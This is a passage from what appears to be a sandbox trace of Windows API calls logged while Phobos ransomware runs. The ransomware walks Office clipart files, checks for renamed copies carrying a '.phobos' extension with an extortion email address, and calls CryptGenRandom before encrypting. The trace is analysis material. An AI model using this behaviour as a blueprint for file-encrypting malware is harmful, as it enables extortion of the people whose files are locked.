dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.770] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.770] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.771] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3800) returned 1 [0150.771] CloseHandle (hObject=0x564) returned 1 [0150.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf")) returned 0x220 [0150.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.771] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.771] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.771] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.772] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8260) returned 1 [0150.772] CloseHandle (hObject=0x564) returned 1 [0150.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf")) returned 0x220 [0150.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.772] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.772] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.772] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.923] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7016) returned 1 [0150.923] CloseHandle (hObject=0x564) returned 1 [0150.923] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf")) returned 0x220 [0150.923] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.923] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.923] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.923] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.924] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=43674) returned 1 [0150.924] CloseHandle (hObject=0x564) returned 1 [0150.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg")) returned 0x220 [0150.925] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.925] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.925] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.925] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.926] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=67540) returned 1 [0150.926] CloseHandle (hObject=0x564) returned 1 [0150.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg")) returned 0x220 [0150.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.926] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.926] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.926] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.927] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=38237) returned 1 [0150.927] CloseHandle (hObject=0x564) returned 1 [0150.927] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg")) returned 0x220 [0150.927] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.927] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.928] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.928] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.929] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=27393) returned 1 [0150.929] CloseHandle (hObject=0x564) returned 1 [0150.929] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg")) returned 0x220 [0150.929] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.929] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.929] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.929] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.930] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=64802) returned 1 [0150.930] CloseHandle (hObject=0x564) returned 1 [0150.930] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg")) returned 0x220 [0150.930] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.930] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.930] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.930] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.931] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=46404) returned 1 [0150.931] CloseHandle (hObject=0x564) returned 1 [0150.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf")) returned 0x220 [0150.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.931] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.931] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.931] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.932] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8494) returned 1 [0150.932] CloseHandle (hObject=0x564) returned 1 [0150.932] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf")) returned 0x220 [0150.932] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.933] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.933] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.933] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.934] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4356) returned 1 [0150.934] CloseHandle (hObject=0x564) returned 1 [0150.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf")) returned 0x220 [0150.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.935] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.935] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.935] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.935] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=15464) returned 1 [0150.935] CloseHandle (hObject=0x564) returned 1 [0150.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf")) returned 0x220 [0150.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.936] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.936] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.936] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.937] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=18500) returned 1 [0150.937] CloseHandle (hObject=0x564) returned 1 [0150.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf")) returned 0x220 [0150.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.937] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.937] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.937] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.938] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=14632) returned 1 [0150.939] CloseHandle (hObject=0x564) returned 1 [0150.939] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf")) returned 0x220 [0150.939] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.939] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.939] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.939] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.940] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=6752) returned 1 [0150.940] CloseHandle (hObject=0x564) returned 1 [0150.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf")) returned 0x220 [0150.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.941] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.941] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.941] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.942] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=10632) returned 1 [0150.942] CloseHandle (hObject=0x564) returned 1 [0150.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf")) returned 0x220 [0150.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.942] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.942] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.942] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.943] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=13204) returned 1 [0150.943] CloseHandle (hObject=0x564) returned 1 [0150.943] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf")) returned 0x220 [0150.943] 